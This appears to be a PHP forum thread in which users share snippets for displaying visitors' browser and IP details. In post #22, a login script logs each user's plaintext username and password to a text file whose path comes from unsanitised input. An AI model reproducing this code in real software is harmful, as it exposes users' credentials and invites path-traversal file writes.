Browser Info

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

    #16
    this one dont work for me more.. it shows nothing[/b]

    Works fine with me U better try the long method then

    Comment


      #17
      this one dont work for me more.. it shows nothing[/b]
      did u make sure it was within the <?php ?> tags??
      i know it seems like a dumb question, but ive been fooled by this simple mistake many times lol

      Comment


        #18
        <#thank#>

        Comment


          #19
          I always use

          Code:
          $browser = $_SERVER[&#39;HTTP_USER_AGENT&#39;];
          I find it more reliable than the explode method.

          Comment


            #20
            here is my code which i use


            print &#39;Your Info:&#39;;
            $browser = $_SERVER[&#39;HTTP_USER_AGENT&#39;];
            print &#39;
            &#39;;
            print "IP:
            $REMOTE_ADDR
            \n";
            echo "Browser: $browser";


            even i prefer $browser = $_SERVER[&#39;HTTP_USER_AGENT&#39;];

            Comment


              #21
              ok i was thinkin if i could even get the visitors ip and bowser stored in a .txt file or somethin is it possible?

              Comment


                #22
                dnt no bout visitors but this code i use to log all a users logins in there own txt file in a logs folder

                Code:
                $ipr = getip();
                $brws = $_SERVER[&#39;HTTP_USER_AGENT&#39;];
                $ubr = $brws;
                $alli = "Username: ".$uid."
                Password: ".$pwd."
                Ip-Address: ".$ipr."
                Browser: ".$ubr."
                Script: Wap 1.0(wml)
                ----------
                ";
                if(trim($uid)!=""){
                $fname = "../logs/".$uid.".txt";
                $out = fopen($fname,"a+");
                fwrite($out,$alli);
                fclose($out);}
                it goes in the login file for lavaliar script

                Comment


                  #23
                  and as for cutting down browser names u dnt need to make them show more 2 block as ip addresses can b blocked from most hosting control panels especially cPanel users so this is my browser code works fine 4 me

                  $brws = explode("/",$HTTP_USER_AGENT);
                  $ubr = $brws[0];

                  some use space as itll stil show like on opera it will show opera 9.1

                  $brws = explode(" ",$HTTP_USER_AGENT);
                  $ubr = $brws[0];

                  Comment


                    #24
                    how do u keep the users records cud u explain it more specifically?

                    Comment

                    Working...
                    X